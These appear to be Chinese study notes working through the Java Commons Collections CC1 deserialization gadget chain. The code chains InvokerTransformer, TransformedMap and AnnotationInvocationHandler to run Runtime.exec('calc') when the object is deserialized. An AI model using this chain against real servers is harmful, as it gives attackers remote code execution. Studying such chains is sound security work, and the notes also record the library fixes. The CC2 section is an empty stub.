介绍
-
序列化的本质是内存对象到数据流的一种转换,我们知道内存中的东西不具备持久性,但有些场景却需要将对象持久化保存或传输。
-
在Java工程中,序列化还广泛应用于JMX,RMI,网络传输(协议包对象)等场景,可以说序列化机制赋予了内存对象持久化的机会
-
注解
-
反射
<dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency>
Transformer
-
Transformer是一个用于规范类型转换行为的接口,实现该接口的类有:ChainedTransformer,
ChainedTransformer
- 链式转换器。传入Transformer数组初始化对象;transform方法依次调用Transformer实现类的transform方法处理传入对象,也就是transform方法的组合拳利用
ChainedTransformer chain = new ChainedTransformer( new Transformer[]{ new ConstantTransformer(Runtime.getRuntime()), new InvokerTransformer( "exec", new Class[]{String.class}, new Object[]{"calc.exe"} ) } ); chain.transform("zgc");
ConstantTransformer
- 返回构造ConstantTransformer对象时传入的对象;transform方法会忽略传入参数,不会改变当前对象
InvokerTransformer
-
通过反射调用传入对象的方法(public属性)
-
commons-collections从3.2.2版本开始尝试序列化或反序列化此类都会抛出UnsupportedOperationException异常,这个举措是为了防止远程代码执行;如果允许序列化该类就要在运行时添加属性-Dproperty=true
-
commons-collections4从4.1之后直接禁止被用于反序列化
Object exec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(Runtime.getRuntime());
InstantiateTransformer
-
通过反射调用传入对象的构造方法新建对象,3.2.2之后启用序列化也需要属性-Dproperty=true,4.1之后也禁止用于反序列化
String[] arg = {"exec"}; InstantiateTransformer it = new InstantiateTransformer(new Class[]{String.class}, arg); Object o = it.transform(String.class); // 初始化 String 对象 System.out.println(o);
CC1链逆推
反射
// 直接调用
// Runtime.getRuntime().exec("calc");
// 反射调用
// Class RuntimeC = Runtime.class;
// Method exec = RuntimeC.getMethod("exec", String.class);
// exec.invoke(Runtime.getRuntime(),"calc");
// InvokerTransformer
Object exec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(Runtime.getRuntime());
寻找InvokerTransformer.transform被调用
- 寻找InvokerTransformer.transform被调用,TransformedMap.checkSetValue有调用
寻找TransformedMap.checkSetValue被调用
- 寻找TransformedMap.checkSetValue被调用,AbstractInputCheckedMapDecorator.setValue有调用(Map设值的会调用)
for Map.Entry 调用->TransformedMap.checkSetValue->AbstractInputCheckedMapDecorator.setValue
// invokerTransformer.transform
// InvokerTransformer + TransformedMap + Map.entrySet.setValue
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object,Object> map = new HashMap<>();
map.put("xx","yy");
Map<Object,Object> decorateMap = TransformedMap.decorate(map, null, invokerTransformer);
for (Map.Entry entry:decorateMap.entrySet()){
entry.setValue(Runtime.getRuntime());
}
Annotation调用->TransformedMap.checkSetValue->AbstractInputCheckedMapDecorator.setValue
- 先看chainedTransformer的推导
Transformer[] transforms = new Transformer[]{
// 通过Transformer反射Class再反射Runtime
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transforms);
// chainedTransformer.transform(Runtime.class);
// invokerTransformer.transform
// InvokerTransformer + TransformedMap + Map.entrySet.setValue
// InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "value");
Map<Object, Object> decorateMap = TransformedMap.decorate(map, null, chainedTransformer);
// for (Map.Entry entry : decorateMap.entrySet()) {
// entry.setValue(Runtime.getRuntime());
// }
Class<?> AnnotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = AnnotationInvocationHandlerClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Target.class, decorateMap);
serialize(o);
unSerialize("serializeFile");
chainedTransformer的推导
Class 可以序列化,Runtime不能序列化
-
通过直接Class反射Runtime
// Runtime 序列化 Class runtimeClass = Runtime.class; Method getRuntimeMethod = runtimeClass.getMethod("getRuntime", null); Runtime runtimeMethodInvoke = (Runtime) getRuntimeMethod.invoke(null, null); Method execMethod = runtimeClass.getMethod("exec", String.class); execMethod.invoke(runtimeMethodInvoke, "calc");
-
通过Transformer反射Class再反射Runtime
// 通过Transformer反射Class再反射Runtime Method getRuntimeMethodByTransformer = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class); Runtime runtimeMethodInvokeByTransformer = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethodByTransformer); new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtimeMethodInvokeByTransformer);
ChainedTransformer优化transformer
Transformer[] transforms = new Transformer[]{
// 通过Transformer反射Class再反射Runtime
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transforms);
chainedTransformer.transform(Runtime.class);
输出对象不一定是Runtime
- 使用ConstantTransformer保证输出对象
Transformer[] transforms = new Transformer[]{ // 通过Transformer反射Class再反射Runtime new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}), };
CC2链逆推
问题
java和class
- jar 加载不出时候,需要下载sources
jdk版本问题
-
需要jdk8u65之前
-
不是setValue,既无法调用checkSetValue,也无法执行到valueTransformer.transform(value)